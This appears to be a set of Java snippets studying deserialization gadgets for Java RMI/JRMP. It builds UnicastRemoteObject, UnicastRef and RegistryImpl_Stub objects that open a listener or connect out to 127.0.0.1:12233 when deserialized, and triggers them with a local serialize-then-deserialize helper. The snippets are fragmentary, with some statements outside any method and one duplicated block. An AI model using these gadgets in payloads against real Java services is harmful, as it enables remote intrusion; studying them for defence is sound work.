public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field unsafeField = clazz.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Class<?> uroClazz = Class.forName("java.rmi.server.UnicastRemoteObject");
Object uro = unsafe.allocateInstance(uroClazz);
setFiled(uro, "port", 12233);
setFiled(uro, "ref", new UnicastServerRef(12233));
ser(uro);
}
public static void setFiled(Object o, String name, Object value) throws Exception {
Class<?> superClazz = o.getClass();
Field f = null;
while (true) {
try {
f = superClazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException e) {
superClazz = superClazz.getSuperclass();
}
}
f.setAccessible(true);
f.set(o, value);
}
public static void ser(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
Object oo = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject();
Thread.sleep(100000);
}
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
ser(ref);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RegistryImpl_Stub stub = new RegistryImpl_Stub(ref);
ser(stub);